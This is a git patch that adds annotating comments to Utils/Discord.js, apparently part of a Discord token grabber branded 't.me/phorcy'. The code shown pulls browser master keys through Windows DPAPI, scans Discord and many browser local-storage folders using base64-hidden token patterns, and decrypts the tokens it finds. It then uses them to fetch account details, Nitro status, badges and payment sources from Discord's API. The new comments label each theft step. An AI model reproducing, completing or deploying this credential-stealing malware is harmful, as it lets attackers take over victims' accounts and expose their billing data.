From 3c8ea45a364d6375e74a1702ee29d596d51424fc Mon Sep 17 00:00:00 2001 From: Synthetic <130696187+syntheticlol@users.noreply.github.com> Date: Wed, 15 Nov 2023 19:17:55 -0500 Subject: [PATCH] Update Discord.js --- Utils/Discord.js | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/Utils/Discord.js b/Utils/Discord.js index b5bfa0a..741e41f 100644 --- a/Utils/Discord.js +++ b/Utils/Discord.js @@ -6,7 +6,7 @@ const dpapi = require("win-dpapi"); const crypto = require("crypto"); const axios = require("axios"); -class D { +class D { // discord class constructor(u, d, i, n, b, bill, e, ph, t, av, bio) { this.u = u; this.tag = `${u}#${d}`; @@ -21,7 +21,7 @@ class D { this.av = `https://cdn.discordapp.com/avatars/${i}/${av}.png`; } - static async gP(t) { + static async gP(t) { // get payment function try { const r = await axios.get(`https://canary.discord.com/api/v9/users/@me/billing/payment-sources`, { headers: { "Authorization": t } @@ -39,7 +39,7 @@ class D { } } - static async gA(tokens) { + static async gA(tokens) { // get accounts const a = []; for (const t of tokens) { @@ -65,11 +65,11 @@ class D { return a; } - static hN(j) { + static hN(j) { // has nitro func return j["premium_type"] !== undefined && j["premium_type"] !== null ? "True" : "False"; } - static gBI(j) { + static gBI(j) { // get badges const bL = [ { name: "N/A", flag: 0 }, { name: "Staff", flag: 1 }, @@ -92,14 +92,14 @@ class D { } } -function gMK(bP) { +function gMK(bP) { // get masterkey const mKP = `${bP}\\Local State`; const eK = Buffer.from(JSON.parse(fs.readFileSync(mKP, "utf-8")).os_crypt.encrypted_key, "base64").slice(5); const dK = dpapi.unprotectData(Buffer.from(eK, "utf-8"), null, 'CurrentUser'); return dK; } -function gET(bP) { +function gET(bP) { // get encrypted token const lP = `${bP}\\Local Storage\\leveldb\\`; if (!fs.existsSync(lP)) { @@ -121,7 +121,7 @@ function gET(bP) { return uET; } -function dUT(eT, mK) { +function dUT(eT, mK) { // decrypt tokens const dT = eT.map(eT => { try { const tD = Buffer.from(eT.split('dQw4w9WgXcQ:')[1], "base64"); @@ -140,12 +140,12 @@ function dUT(eT, mK) { return dT.filter(t => t !== null); } -function dUP(bP, p) { +function dUP(bP, p) { // decrypt users const pP = `${bP}\\${p}`; return fs.existsSync(pP) ? fs.readdirSync(pP).map(p => ({ p: `${pP}\\${p}` })) : []; } -async function fD() { +async function fD() { // get da data const aP = process.env.APPDATA; const lP = process.env.LOCALAPPDATA; const dP = [`${aP}\\discord`, `${aP}\\discordcanary`, `${aP}\\discordptb`]; @@ -159,7 +159,7 @@ async function fD() { } } - const bP = [ + const bP = [ // browser paths `${aP}\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\`, `${aP}\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\`, `${lP}\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\`, @@ -180,17 +180,17 @@ async function fD() { `${lP}\\Vivaldi\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`, ]; - const bPr = bP + const bPr = bP // browser profiles .flatMap(b => dUP(b, b.split("\\")[6]) .map(p => p.p)); - const cR = [ + const cR = [ // regex new RegExp(Buffer.from("W1x3LV17MjR9XC5bXHctXXs2fVwuW1x3LV17Mjd9", 'base64').toString(), 'gm'), new RegExp(Buffer.from("bWZhXC5bXHctXXs4NH0=", 'base64').toString(), 'gm'), new RegExp(Buffer.from("W1x3LV17MjR9XC5bXHctXXs2fVwuW1x3LV17MjUsMTEwfQ==", 'base64').toString(), 'gm') ]; - const tFP = bPr + const tFP = bPr // token profile browser profile .filter(p => fs.existsSync(p)) .flatMap(p => fs.readdirSync(p) .filter(file => file.endsWith(".log") || file.endsWith(".ldb")) @@ -205,7 +205,7 @@ async function fD() { return await D.gA(t); } -function stxt(a) { +function stxt(a) { // save to txt const fD = a.map(a => { return ` Discord DATA ~ t.me/phorcy ======================================================